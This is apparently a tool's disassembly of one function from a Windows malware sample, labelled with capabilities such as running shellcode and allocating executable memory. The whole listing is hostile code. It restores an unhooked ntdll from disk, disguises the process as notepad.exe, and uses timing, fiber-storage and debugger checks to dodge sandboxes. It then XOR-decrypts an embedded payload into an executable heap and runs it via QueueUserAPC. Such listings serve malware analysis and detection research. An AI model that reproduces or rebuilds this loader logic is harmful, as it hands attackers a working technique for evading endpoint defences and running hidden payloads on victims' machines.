Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x918
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x880], xmm6
mov dword [rbp + 0x8c0], ecx
mov qword [rbp + 0x8c8], rdx
call fcn.140002aa0
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x808], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x800], rax
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7f8], rax
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x878], rax
mov dword [rbp + 0x874], 0
mov dword [rbp + 0x870], 0
mov ecx, 0xf4c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7f0], rax
mov dword [rbp + 0x86c], 0
jmp 0x140001599
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x86c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x7f0]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x23
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x86c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7f0]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x874], eax
add dword [rbp + 0x86c], 1
cmp dword [rbp + 0x86c], 0x3d2
jle 0x14000152b
mov dword [rbp + 0x86c], 0
jmp 0x140001621
pxor xmm6, xmm6
cvtsi2sd xmm6, dword [rbp + 0x870]
mov eax, dword [rbp + 0x86c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7f0]
add rax, rdx
mov eax, dword [rax]
pxor xmm0, xmm0
cvtsi2ss xmm0, eax
subss xmm0, dword [rbp + 0x62c]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm0
movq rax, xmm2
movsd xmm0, qword [0x140006620]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140004030
addsd xmm0, xmm6
cvttsd2si eax, xmm0
mov dword [rbp + 0x870], eax
add dword [rbp + 0x86c], 1
cmp dword [rbp + 0x86c], 0x3d2
jle 0x1400015b1
pxor xmm0, xmm0
cvtsi2ss xmm0, dword [rbp + 0x870]
movss xmm1, dword [0x140006628]
divss xmm0, xmm1
movss dword [rbp + 0x7ec], xmm0
pxor xmm3, xmm3
cvtss2sd xmm3, dword [rbp + 0x7ec]
movq rax, xmm3
movq xmm0, rax
call fcn.140003a90
cvtsd2ss xmm0, xmm0
movss dword [rbp + 0x7e8], xmm0
mov rax, qword [rbp + 0x7f0]
mov rcx, rax
call sub.msvcrt.dll_free
cmp qword [rbp + 0x878], 0
jne 0x1400016bd
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x878], rax
cmp qword [rbp + 0x878], 0
je 0x140001a65
mov dword [rbp + 0x868], 0xffffffff
add dword [rbp + 0x868], 1
call sub.msvcrt.dll_rand
shl eax, 2
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006630]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.140003cb0
movq rax, xmm0
mov qword [rbp + 0x7e0], rax
cmp dword [rbp + 0x868], 0x365
jle 0x1400016d5
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x610]
mov rax, qword [rbp + 0x7f8]
mov r10, qword [rbp + 0x878]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov rax, qword [rbp + 0x610]
mov qword [rbp + 0x7d8], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x7d0], rax
mov rax, qword [rbp + 0x7d0]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x7c8], rax
mov rax, qword [rbp + 0x7c8]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x7c0], rax
mov rax, qword [rbp + 0x7d8]
mov qword [rbp + 0x7b8], rax
mov rax, qword [rbp + 0x7b8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x7d8]
add rax, rdx
mov qword [rbp + 0x7b0], rax
mov word [rbp + 0x866], 0
jmp 0x140001a4d
mov dword [rbp + 0x85c], 0x3d4
mov dword [rbp + 0x860], 0x3d4
jmp 0x14000186f
sub dword [rbp + 0x85c], 1
sub dword [rbp + 0x860], 1
cmp dword [rbp + 0x860], 0xa
jg 0x140001861
mov rax, qword [rbp + 0x7b0]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x7b0]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x866]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x7a8], rax
mov dword [rbp + 0x858], 0
jmp 0x14000193d
call sub.msvcrt.dll_rand
mov edx, eax
movsxd rax, edx
imul rax, rax, 0x38e38e39
shr rax, 0x20
sar eax, 2
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
mov dword [rbp + 0x7a4], eax
mov ecx, dword [rbp + 0x7a4]
mov eax, ecx
shl eax, 3
add eax, ecx
add eax, eax
sub edx, eax
mov dword [rbp + 0x7a4], edx
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006630]
divsd xmm0, xmm1
movq rax, xmm0
mov edx, dword [rbp + 0x7a4]
movq xmm0, rax
call fcn.140003ec0
movq rax, xmm0
mov qword [rbp + 0x798], rax
add dword [rbp + 0x858], 1
cmp dword [rbp + 0x858], 0xdf
jle 0x1400018c0
mov rax, qword [rbp + 0x7a8]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140001a3c
mov dword [rbp + 0x5d8], 0
mov rax, qword [rbp + 0x7a8]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x7a8]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x7d8]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x5d8]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x7a8]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x7a8]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x7c0]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x7a8]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x7d8]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp + 0x5d8]
mov rax, qword [rbp + 0x7a8]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x7a8]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x7d8]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x5d8]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x866]
add eax, 1
mov word [rbp + 0x866], ax
mov rax, qword [rbp + 0x7b0]
movzx eax, word [rax + 6]
cmp word [rbp + 0x866], ax
jb 0x14000184b
mov dword [rbp + 0x5dc], 0
mov rax, qword [rbp + 0x808]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x790], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x5e0]
lea rax, [rbp + 0x5dc]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x790]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov rax, qword [rbp + 0x5e8]
add rax, 0x3c
mov qword [rbp + 0x788], rax
mov rax, qword [rbp + 0x788]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov rax, qword [rbp + 0x788]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x780], rax
mov rax, qword [rbp + 0x780]
mov ecx, 0
call rax
mov dword [rbp + 0x77c], eax
cmp dword [rbp + 0x77c], 0xffffffff
je 0x1400029d2
mov dword [rbp + 0x778], 0x265
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x770], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x768], rax
mov rax, qword [rbp + 0x768]
call rax
mov dword [rbp + 0x764], eax
mov eax, dword [rbp + 0x778]
mov r8, qword [rbp + 0x770]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x768]
call rax
mov dword [rbp + 0x760], eax
mov eax, dword [rbp + 0x760]
sub eax, dword [rbp + 0x764]
cmp eax, 0x233
jbe 0x1400029d2
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x758], rax
cmp qword [rbp + 0x758], 0
je 0x140001c5c
mov rax, qword [rbp + 0x758]
lea rdx, str.FlsAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x750], rax
mov rax, qword [rbp + 0x750]
mov ecx, 0
call rax
mov dword [rbp + 0x854], eax
cmp dword [rbp + 0x854], 0xffffffff
je 0x1400029d2
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x748], rax
mov rax, qword [rbp + 0x748]
call rax
mov dword [rbp + 0x744], eax
mov ecx, 0x37e
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0x748]
call rax
mov dword [rbp + 0x740], eax
mov eax, dword [rbp + 0x740]
sub eax, dword [rbp + 0x744]
cmp eax, 0x34c
jbe 0x1400029d2
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x738], rax
mov rax, qword [rbp + 0x738]
call rax
mov dword [rbp + 0x734], eax
mov ecx, 0x3e1
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0x738]
call rax
mov dword [rbp + 0x730], eax
mov eax, dword [rbp + 0x730]
sub eax, dword [rbp + 0x734]
cmp eax, 0x3af
jbe 0x1400029d2
mov dword [rbp + 0x72c], 0x2d1
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x720], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x718], rax
mov rax, qword [rbp + 0x718]
call rax
mov dword [rbp + 0x714], eax
mov eax, dword [rbp + 0x72c]
mov r8, qword [rbp + 0x720]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x718]
call rax
mov dword [rbp + 0x710], eax
mov eax, dword [rbp + 0x710]
sub eax, dword [rbp + 0x714]
cmp eax, 0x29f
jbe 0x1400029d2
mov dword [rbp + 0x5d4], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.CheckRemoteDebuggerPresent
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x708], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0x5d4]
mov r8, qword [rbp + 0x708]
mov rdx, rax
call r8
mov eax, dword [rbp + 0x5d4]
cmp eax, 1
je 0x1400029d2
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x700], rax
cmp qword [rbp + 0x700], 0
je 0x140001ec7
mov rax, qword [rbp + 0x700]
lea rdx, str.FlsAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6f8], rax
mov rax, qword [rbp + 0x6f8]
mov ecx, 0
call rax
mov dword [rbp + 0x850], eax
cmp dword [rbp + 0x850], 0xffffffff
je 0x1400029d2
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6f0], rax
mov rax, qword [rbp + 0x6f0]
mov ecx, 0
call rax
mov dword [rbp + 0x6ec], eax
cmp dword [rbp + 0x6ec], 0xffffffff
je 0x1400029d2
mov dword [rbp + 0x6e8], 0x3a9
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6e0], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6d8], rax
mov rax, qword [rbp + 0x6d8]
call rax
mov dword [rbp + 0x6d4], eax
mov eax, dword [rbp + 0x6e8]
mov r8, qword [rbp + 0x6e0]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x6d8]
call rax
mov dword [rbp + 0x6d0], eax
mov eax, dword [rbp + 0x6d0]
sub eax, dword [rbp + 0x6d4]
cmp eax, 0x377
jbe 0x1400029d2
mov dword [rbp + 0x84c], 0xffffffff
mov ecx, 0x1150
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6c8], rax
mov ecx, 0x1150
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6c0], rax
add dword [rbp + 0x84c], 1
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x84c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x6c8]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x84c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x6c8]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x84c]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x6c0]
lea rbx, [rcx + rdx]
movq xmm0, rax
call fcn.140003bd0
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x84c], 0x228
jle 0x140002007
lea rax, [rbp + 0xe0]
lea rdx, str.1aK9
mov ecx, 0x9e
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
mov ecx, dword [rdx]
mov dword [rax], ecx
mov rax, qword [rbp + 0x800]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6b8], rax
mov rax, qword [rbp + 0x800]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6b0], rax
mov rax, qword [rbp + 0x6b8]
mov r8d, 0
mov edx, 0x4f3
mov ecx, 0x40000
call rax
mov qword [rbp + 0x6a8], rax
mov rax, qword [rbp + 0x6a8]
mov r9, qword [rbp + 0x6b0]
mov r8d, 0x4f3
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x6a0], rax
mov rax, qword [rbp + 0x808]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x698], rax
lea rdx, [rbp + 0xe0]
mov rax, qword [rbp + 0x6a0]
mov r9, qword [rbp + 0x698]
mov r8d, 0x4f3
mov rcx, rax
call r9
movsd xmm0, qword [0x140006638]
movsd qword [rbp + 0x840], xmm0
movsd xmm0, qword [0x140006640]
movsd qword [rbp + 0x690], xmm0
jmp 0x140002227
movsd xmm0, qword [rbp + 0x690]
mov rax, qword [rbp + 0x840]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140004030
movq rax, xmm0
mov qword [rbp + 0x840], rax
movsd xmm0, qword [0x140006648]
comisd xmm0, xmmword [rbp + 0x840]
ja 0x1400021fe
mov dword [rbp + 0x83c], 0
mov dword [rbp + 0x838], 0
movabs rax, 0x5ac4b5748047e87b
movabs rdx, 0xf1b01a06cbdad4dc
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
movabs rax, 0xad7a676f8e2aa18d
movabs rdx, 0x5cfd2198f8e24c1a
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
movabs rax, 0x2c3c35b4ffd82f8d
movabs rdx, 0x782108bf07149072
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
movabs rax, 0xa80831eaf7d435
mov qword [rbp - 0x10], rax
movabs rax, 0xe45884f0ea57aea1
movabs rdx, 0xf8aa4f6e7169e66b
mov qword [rbp + 0x70], rax
mov qword [rbp + 0x78], rdx
movabs rax, 0xacc4bf62609c8d4a
movabs rdx, 0xcb26d0e0d74780c6
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], rdx
movabs rax, 0x206ad34ead074e42
movabs rdx, 0xc2e09d0648e0ed75
mov qword [rbp + 0x90], rax
mov qword [rbp + 0x98], rdx
movabs rax, 0x8a207ba96fe31133
movabs rdx, 0xa90d2a8e648ed76c
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0xa8], rdx
movabs rax, 0x4a6d90eaec9ff353
movabs rdx, 0xc529e1d8da0cc396
mov qword [rbp + 0xb0], rax
mov qword [rbp + 0xb8], rdx
movabs rax, 0xc49f39fbc60350db
movabs rdx, 0x271449fd64f7313b
mov qword [rbp + 0xc0], rax
mov qword [rbp + 0xc8], rdx
movabs rax, 0x802b02271449fd64
movabs rdx, 0x9033e6241c3943
mov qword [rbp + 0xcb], rax
mov qword [rbp + 0xd3], rdx
mov dword [rbp + 0x848], 0
jmp 0x1400025a9
mov eax, dword [rbp + 0x848]
cdqe
movzx edx, byte [rbp + rax + 0x70]
mov eax, dword [rbp + 0x83c]
cdqe
movzx eax, byte [rbp + rax - 0x40]
xor edx, eax
mov eax, dword [rbp + 0x848]
cdqe
mov byte [rbp + rax], dl
cmp dword [rbp + 0x83c], 0x36
jne 0x1400023e6
mov dword [rbp + 0x83c], 0
jmp 0x1400025a2
mov ecx, 0x24c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x648], rax
mov ecx, 0x24c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x640], rax
mov ecx, 0x24c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x638], rax
mov ecx, 0x24c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x630], rax
mov dword [rbp + 0x830], 0x92
mov dword [rbp + 0x834], 0
jmp 0x14000254f
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x834]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x648]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x834]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x640]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x830]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x648]
add rax, rdx
mov edx, dword [rbp + 0x834]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x638]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x830]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x640]
add rax, rdx
mov edx, dword [rbp + 0x834]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x630]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x830], 1
add dword [rbp + 0x834], 1
cmp dword [rbp + 0x834], 0x92
jle 0x140002443
mov rax, qword [rbp + 0x648]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x640]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x638]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x630]
mov rcx, rax
call sub.msvcrt.dll_free
add dword [rbp + 0x83c], 1
add dword [rbp + 0x848], 1
mov eax, dword [rbp + 0x848]
cmp eax, 0x69
jbe 0x1400023a6
mov dword [rbp + 0x848], 0
jmp 0x140002625
mov eax, dword [rbp + 0x848]
movsxd rdx, eax
mov rax, qword [rbp + 0x6a0]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x838]
cdqe
movzx ecx, byte [rbp + rax]
mov eax, dword [rbp + 0x848]
movsxd rdx, eax
mov rax, qword [rbp + 0x6a0]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
cmp dword [rbp + 0x838], 0x69
jne 0x140002617
mov dword [rbp + 0x838], 0
jmp 0x14000261e
add dword [rbp + 0x838], 1
add dword [rbp + 0x848], 1
cmp dword [rbp + 0x848], 0x4f2
jle 0x1400025c4
mov rax, qword [rbp + 0x6a0]
mov qword [rbp + 0x688], rax
mov ecx, 0x68c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x680], rax
mov dword [rbp + 0x828], 0
mov dword [rbp + 0x824], 0
mov dword [rbp + 0x82c], 0
jmp 0x1400026bd
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x82c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x680]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x14f8b589
shr rdx, 0x20
sar edx, 0xd
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x186a0
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x82c], 1
cmp dword [rbp + 0x82c], 0x1a2
jle 0x140002670
mov dword [rbp + 0x82c], 0
mov dword [rbp + 0x82c], 0
jmp 0x14000273c
mov eax, dword [rbp + 0x82c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x680]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
je 0x14000270b
add dword [rbp + 0x828], 1
jmp 0x140002735
mov eax, dword [rbp + 0x82c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x680]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
jne 0x140002735
add dword [rbp + 0x824], 1
add dword [rbp + 0x82c], 1
cmp dword [rbp + 0x82c], 0x1a2
jle 0x1400026df
mov rax, qword [rbp + 0x680]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x800]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x678], rax
mov dword [rbp + 0x81c], 0
mov dword [rbp + 0x674], 0
mov ecx, 0x58c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x668], rax
mov dword [rbp + 0x820], 0
jmp 0x140002825
call sub.msvcrt.dll_rand
mov ecx, eax
mov eax, dword [rbp + 0x820]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x668]
lea r8, [rdx + rax]
movsxd rax, ecx
imul rax, rax, 0x51eb851f
shr rax, 0x20
mov edx, eax
sar edx, 3
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
shl eax, 2
add eax, edx
lea edx, [rax*4]
add eax, edx
sub ecx, eax
mov edx, ecx
mov dword [r8], edx
mov eax, dword [rbp + 0x820]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x668]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x81c], eax
add dword [rbp + 0x820], 1
cmp dword [rbp + 0x820], 0x162
jle 0x1400027a9
mov rax, qword [rbp + 0x668]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x800]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x660], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x688]
mov r9, qword [rbp + 0x678]
mov r8d, 0
mov rcx, rax
call r9
mov ecx, 0x3530
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x658], rax
mov dword [rbp + 0x818], 0
mov dword [rbp + 0x654], 1
mov dword [rbp + 0x814], 0
jmp 0x14000292a
mov dword [rbp + 0x810], 0
jmp 0x14000291a
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x814]
movsxd rdx, edx
imul rcx, rdx, 0xb8
mov rdx, qword [rbp + 0x658]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x810]
cdqe
mov dword [r8 + rax*4], edx
add dword [rbp + 0x810], 1
cmp dword [rbp + 0x810], 0x2d
jle 0x1400028c8
add dword [rbp + 0x814], 1
cmp dword [rbp + 0x814], 0x49
jle 0x1400028bc
